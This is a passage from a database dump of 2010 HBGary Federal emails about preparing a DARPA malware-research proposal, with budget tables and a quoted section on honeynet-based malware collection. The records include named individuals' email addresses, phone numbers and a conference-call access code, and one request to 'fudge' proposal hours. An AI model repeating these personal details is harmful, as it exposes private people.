&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $106,171\r\n  \r\n  \r\n  Automation of Execution\r\n  (HBGary)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $61,091\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Unix Trigger Analysis\r\n  \r\n  \r\n  Pikewerks\r\n  \r\n  \r\n  Research Portion of MS-Based\r\n  Paper&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; $155,872\r\n  \r\n  \r\n  Concept Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $111,280\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Automated Execution\r\n  \r\n  \r\n  HBGary\r\n  \r\n  \r\n  &nbsp;\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $36,051[3]\r\n  \r\n  \r\n  &nbsp;\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $25,546\r\n  \r\n  \r\n  Automation Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $61,091\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Automated Obfuscation Detection\r\n  \r\n  \r\n  SRI\r\n  \r\n  \r\n  Paper\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $92,807\r\n  \r\n  \r\n  Plug-in Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $112,286\r\n  \r\n  \r\n  Stand Alone Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $170,075\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Automated Extraction of Latent\r\n  Artifacts\r\n  \r\n  \r\n  GDAIS\r\n  \r\n  \r\n  Prototype\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $56,339\r\n  \r\n  \r\n  &nbsp;\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $145,245[4]\r\n  \r\n  \r\n  &nbsp;\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $150,655\r\n  \r\n  \r\n  &nbsp;\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $158,074\r\n  \r\n \r\n \r\n  \r\n  Malware Collection Capability\r\n  \r\n  \r\n  Pikewerks\r\n  \r\n  \r\n  Refined Malware Collection\r\n  Prototype&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $186,780\r\n  \r\n  \r\n  Malware Delivery\r\n  and Maintenance Papers\r\n  \r\n \r\n \r\n  \r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $57,050\r\n  \r\n  \r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $60,723\r\n  \r\n  \r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $65,986\r\n  \r\n \r\n \r\n  \r\n  Non-MS\r\n  Malware Characterization Research\r\n  \r\n  \r\n  Pikewerks\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  Non-MS Malware\r\n  Characterization Papers\r\n  \r\n \r\n \r\n  \r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $57,050\r\n  \r\n  \r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $60,723\r\n  \r\n  \r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $65,986\r\n  \r\n \r\n \r\n  \r\n  Interaction with Large Correlation Datasets\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  \r\n  Cyber Genome Dataset\r\n  Visualization\r\n  \r\n  \r\n  AVI/SD\r\n  \r\n  \r\n  Concept Prototype &amp; Provide Samples $165,347\r\n  \r\n  \r\n  Refined Prototype &amp;\r\n  Provide Samples&nbsp;&nbsp;&nbsp; $281,442\r\n  \r\n  \r\n  Provide Samples\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $525,105\r\n  \r\n  \r\n  Provide Samples\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $306,832\r\n  \r\n \r\n \r\n  \r\n  Cyber Lineage\r\n  Visualization Requirements\r\n  \r\n  \r\n  AVI/SD\r\n  \r\n  \r\n  Requirements &amp; Architecture Documents\r\n  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\n  $261,034\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n  \r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n[1] This is\r\nGDAIS cost to support all Full Execution Space Sequencing Research (RYAN: Add Cross-Reference to\r\nnext cell).\r\n\r\n\r\n\r\n\r\n\r\n[2] (DOUG: need to explain and RYAN:\r\nadd Cross-References to last cell in row)\r\n\r\n\r\n\r\n\r\n\r\n[3] HBGary is\r\nsupporting GDAIS Correlation with Automated Execution on these two (RYAN: add Cross-Reference to\r\nnext cell).\r\n\r\n\r\n\r\n\r\n\r\n[4] (DOUG: need to explain and RYAN:\r\nadd Cross-References to next two cells)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15514,'aaron_hbgary_com/15514.html'),(4695,'2010-03-27','\"MB Toth\" <mbt.rbtoth@gmail.com>','/aaron@hbgary.com/new/1297002859.M267764P3547Q4695.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Document','Aaron,I&#39;ve reviewed the high level success criteria, and attached my comments on that section.  At this higher, introductory level, most of what is included looks good.  The devil will be fleshing these out into more specific test criteria.  I&#39;ll look at that in the context of the detailed text.\r\nA major question I have:  Will specific training and other data be used for research, training, testing and analysis?  I think I recall mention of a data library somewhere (in addition to the three repositories as deliverables), but what stream of data will the automatic capability be tested against?  Just the Internet at random?\r\nThe following questions and answers seem to address this topic:\r\n\r\n\r\n\r\n5.  Are the\r\ncollection of digital artifacts in scope, and is it a requirement for the\r\ndelivered system?\r\n\r\n \r\n\r\nAnswer:  It depends upon the system proposed.  If the system requires empirical data to\r\nunderstand the problem being addressed, or training data to train the system,\r\nthen the performer is expected to provide that data to ensure the government\r\ncan repeat the performer’s results as well as install, train and/or operate the\r\nsystem.  \r\n\r\n \r\n\r\nIf the proposer\r\nwishes to develop data sets they should propose them in the base proposal, if\r\nthey are required, or as options or under separate proposals under Technical\r\nArea Four, if they are not required.\r\n\r\n \r\n\r\n6.  Is the training\r\nset that performers use to validate the technology a deliverable?\r\n\r\n \r\n\r\nAnswer:  The performer needs to identify in their\r\nproposal what will be delivered and why. \r\nIf the system can be installed and operated, and its performance\r\nevaluation repeated, without the training set then DARPA doesn’t need it.  If the system cannot be installed, trained\r\nand/or operated, and its performance evaluation cannot be repeated then DARPA\r\nwill need the training set. \r\n\r\n \r\n\r\n7.  Is there an absolute requirement to deliver\r\nsource code?   \r\n\r\nAnswer:  Refer to BAA, Section 1.3, page 10.  Yes\r\n\r\n\r\n8.  What level of\r\nquality of manuals &amp; documents need to be delivered?\r\n\r\n \r\n\r\nAnswer:  The documentation is\r\ndependent on the proposed solution.  For\r\nexample, a revolutionary network defense system must provide sufficient detail\r\nfor a trained network administrator to understand, install, and operate the\r\nsystem.  A forward deployed forensics\r\ncollection/analysis system must provide sufficient detail for a warfighter with\r\nbasic cyber knowledge to operate the system. \r\n\r\n9.  Will DARPA supply golden or sample data sets\r\nto winning teams for the purposes of training, metric and other\r\nevaluations?  Or do we need to obtain\r\nsuch data ourselves?\r\n\r\n \r\n\r\nAnswer:  It is likely Performers\r\nwill need test and training data sets. \r\nDARPA is working on getting access to these data sets.  Also, test and training data sets will depend\r\non the proposed technology.  For\r\nphase/period 1a, performers will provide their own data sets.\r\n\r\n10.  What are appropriate assumptions to make\r\nabout data set sizes ranges and distribution of data set sizes? Captured\r\nlaptops with hard drives are one end of the data set size spectrum. Tapping\r\ninto intelligence community captured data flows is a much larger computational\r\nchallenge. \r\n\r\n \r\n\r\nAnswer:  The\r\nPerformer will make this determination with the proposed technology.\r\n\r\nMikeOn Sat, Mar 27, 2010 at 4:24 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nNot a ton of changes.  I implemented yours, moved some things around.  There are a few sections in the detailed approach that are different and some additions to II.C.  I am working on the metrics.\r\n\r\nWhere do you think I am weekest?  Other than metrics.  Am I grabbing the reader?  Am I making a convincing argument?\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n',634,'aaron_hbgary_com/634.html'),(4696,'2010-03-27','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002859.M484982P3547Q4696.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: What I have so far.','You want to point out what this new content is and I\'ll merge it into my\r\ndoc?  Since I\'m making the most changes, let me be the have the \"trunk tip\".\r\n\r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Saturday, March 27, 2010 4:48 PM\r\nTo: Bob Slapnik\r\nSubject: Re: What I have so far.\r\n\r\nA little different...incorporated some changes and comments from Mike Toth.\r\n\r\nAaron\r\n\r\nOn Mar 27, 2010, at 4:44 PM, Bob Slapnik wrote:\r\n\r\n> This is the same version you sent me early today, right?\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Saturday, March 27, 2010 4:25 PM\r\n> To: Ted Vera; Bob Slapnik\r\n> Subject: What I have so far.\r\n> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/27/10\r\n> 03:32:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/27/10\r\n03:32:00\r\n\r\n',6715,'aaron_hbgary_com/6715.html'),(4697,'2010-03-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002859.M780896P3547Q4697.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: What I have so far.','U are doing track changes?  Send me the doc let me merge and then send it back to you.  I don\'t have track changes on so won\'t be able to discern the difference between urs an dmine.\r\n\r\nAaron\r\n\r\nOn Mar 27, 2010, at 6:21 PM, Bob Slapnik wrote:\r\n\r\n> You want to point out what this new content is and I\'ll merge it into my\r\n> doc?  Since I\'m making the most changes, let me be the have the \"trunk tip\".\r\n> \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Saturday, March 27, 2010 4:48 PM\r\n> To: Bob Slapnik\r\n> Subject: Re: What I have so far.\r\n> \r\n> A little different...incorporated some changes and comments from Mike Toth.\r\n> \r\n> Aaron\r\n> \r\n> On Mar 27, 2010, at 4:44 PM, Bob Slapnik wrote:\r\n> \r\n>> This is the same version you sent me early today, right?\r\n>> \r\n>> \r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Saturday, March 27, 2010 4:25 PM\r\n>> To: Ted Vera; Bob Slapnik\r\n>> Subject: What I have so far.\r\n>> \r\n>> \r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>> \r\n>> \r\n>> \r\n>> \r\n>> No virus found in this incoming message.\r\n>> Checked by AVG - www.avg.com \r\n>> Version: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/27/10\r\n>> 03:32:00\r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/27/10\r\n> 03:32:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',11541,'aaron_hbgary_com/11541.html'),(4698,'2010-03-27','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002863.M63996P3547Q4698.eml','\"Aaron Barr\" <aaron@hbgary.com>','my most recent changes','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nOffice 301-652-8885 x104&nbsp; | Mobile 240-481-1419\r\n\r\nwww.hbgary.com&nbsp; |&nbsp; bob@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5503,'aaron_hbgary_com/5503.html'),(4699,'2010-03-27','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002869.M377671P3547Q4699.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"MB Toth\" <mbt.rbtoth@gmail.com>','New Version of Document','\r\n\r\nMike some changes in the front section I mentioned edited by Bob.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',15952,'aaron_hbgary_com/15952.html'),(4700,'2010-03-28','\"MB Toth\" <mbt.rbtoth@gmail.com>','/aaron@hbgary.com/new/1297002872.M329925P3547Q4701.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: New Version of Document','Got it, reviewing the detail, and then back to the front section.MikeOn Sat, Mar 27, 2010 at 7:19 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\nMike some changes in the front section I mentioned edited by Bob.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n',13391,'aaron_hbgary_com/13391.html'),(4701,'2010-03-28','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002872.M522236P3547Q4702.eml','\"Aaron Barr\" <aaron@hbgary.com>','I did more on the key personnel section','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFor each person I saved 2 lines by adding some columns to\r\nthe chart.&nbsp; So I saved 12 lines and all the info is the same.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6403,'aaron_hbgary_com/6403.html'),(4702,'2010-03-28','\"MB Toth\" <mbt.rbtoth@gmail.com>','/aaron@hbgary.com/new/1297002872.M718184P3547Q4703.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: New Version of Document','Just got to the section on the malware data set -- a critical section that is well developed.  Looks good (changed a bit per below) Needs to be included earlier in the prop. as well.Mike\r\n\r\n\r\n\r\nIII.D.1 Specimen Collection and Pre-Processing\r\n\r\nCollection of accurate sets of specimens\r\nand artifacts that reflect the latest and most challenging malware is critical\r\nto effective research and development of our capabilities. We will conduct\r\nresearch and develop malware harvesters and honeynets to collect malware in the\r\nwild not contained in subscription feeds, which we will also use. The challenge\r\nhere is in finding or attracting malware that has propagated under the radar\r\nenough so as not to have been detected and collected by one of the feed\r\nproviders.  Although variations of\r\nhoneypots have been in existence for many years on both windows and Linux\r\nplatforms, our research differs in that ours is an integrated approach between\r\ncollection and analysis that trains our sensors how to behave in order to\r\nmaximize new collections. We propose to research and develop a passive and\r\nactive collection capability for Linux and Windows-based malware using\r\nvirtualized clients and webhosts configured with variations of operating\r\nsystems, patches, and services.  The passive systems will emulate\r\npersistent, commercial web services, while the active systems will emulate\r\nclient systems that will browse websites, conduct p2p file transfers, open\r\nemail attachments, and perform numerous other high-risk activities.  The\r\npersonas of the passive and active systems will receive periodic updates\r\nthrough scripts that pull from the malware repository, ensuring maximum\r\nexposure to new collections. This will be supplemented by feeds for malware to\r\nwhich we have existing subscriptions and will research to ensure we have the\r\nmost relevant data available.  \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Sat, Mar 27, 2010 at 8:32 PM, MB Toth &lt;mbt.rbtoth@gmail.com&gt; wrote:\r\nGot it, reviewing the detail, and then back to the front section.MikeOn Sat, Mar 27, 2010 at 7:19 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nMike some changes in the front section I mentioned edited by Bob.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n\r\n\r\n-- R.B. Toth AssociatesOakton, Virginia, USA703 938-4499mbt.rbtoth@gmail.com\r\n#avg_ls_inline_popup {  position:absolute;  z-index:9999;  padding: 0px 0px;  margin-left: 0px;  margin-top: 0px;  width: 240px;  overflow: hidden;  word-wrap: break-word;  color: black;  font-size: 10px;  text-align: left;  line-height: 13px;}\r\n',13663,'aaron_hbgary_com/13663.html'),(4703,'2010-03-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002872.M76200P3547Q4700.eml','\"Ted Vera\" <ted@hbgary.com>','Spreadsheets','',5424,'aaron_hbgary_com/5424.html'),(4704,'2010-03-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002872.M941586P3547Q4704.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: I did more on the key personnel section','Ted and I are making good dents in the pricing...all is coming along.Man I can\'t wait until Monday.On Mar 27, 2010, at 10:15 PM, Bob Slapnik wrote:For each person I saved 2 lines by adding some columns to the chart.&nbsp; So I saved 12 lines and all the info is the same.&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',6278,'aaron_hbgary_com/6278.html'),(4705,'2010-03-28','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297002873.M202341P3547Q4705.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Conference call','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nFree Conference Call\r\nConference Dial-in Number: (712) 432-0080\r\nParticipant Access Code: 104 3853#\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',12486,'aaron_hbgary_com/12486.html'),(4706,'2010-03-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002873.M578156P3547Q4706.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: spreadsheet','\r\n\r\nBegin forwarded message:\r\n\r\n> From: \"Bob Slapnik\" \r\n> Date: March 27, 2010 4:54:24 PM EDT\r\n> To: \"\'Aaron Barr\'\" \r\n> Subject: RE: spreadsheet\r\n> \r\n> Revised spreadsheet.\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Saturday, March 27, 2010 4:22 PM\r\n> To: Bob Slapnik\r\n> Subject: Re: spreadsheet\r\n> \r\n> Sorry,\r\n> \r\n> I need you to get closer to the hours I listed, you can fudge them around a\r\n> bit.  Ted was mistaken.  Darpa will front end load the contract but I don\'t\r\n> think we want to front end load to much plus I have you doing all the AFR\r\n> like stuff starting in year 2.  You can go 400, 300, 400, 400 if you want.  \r\n> \r\n> Aaron\r\n> On Mar 27, 2010, at 4:08 PM, Bob Slapnik wrote:\r\n> \r\n>> \r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.791 / Virus Database: 271.1.1/2763 - Release Date: 03/27/10\r\n> 03:32:00\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',10752,'aaron_hbgary_com/10752.html'),(4707,'2010-03-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297002873.M798422P3547Q4707.eml','\"Ted Vera\" <ted@hbgary.com>','list','HBGary\r\nTask 4\r\n1b\r\n2a\r\n2b\r\n\r\nTask 5\r\n1a\r\n1b\r\n2a\r\n\r\nTask 6 (lead)\r\n2a\r\n2b\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',6957,'aaron_hbgary_com/6957.html'),(4708,'2010-03-28','\"MB Toth\" <mbt.rbtoth@gmail.com>','/aaron@hbgary.com/new/1297002880.M333323P3547Q4708.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: New Version of Document','Aaron,This is looking quite good, although I realize there are still some critical sections to be completed.I focused on the detailed description, which I had not reviewed previously.  BRaIN needs further review and tightening up, but didn&#39;t want to screw up this critical section with major changes.\r\n\r\nVery pleased 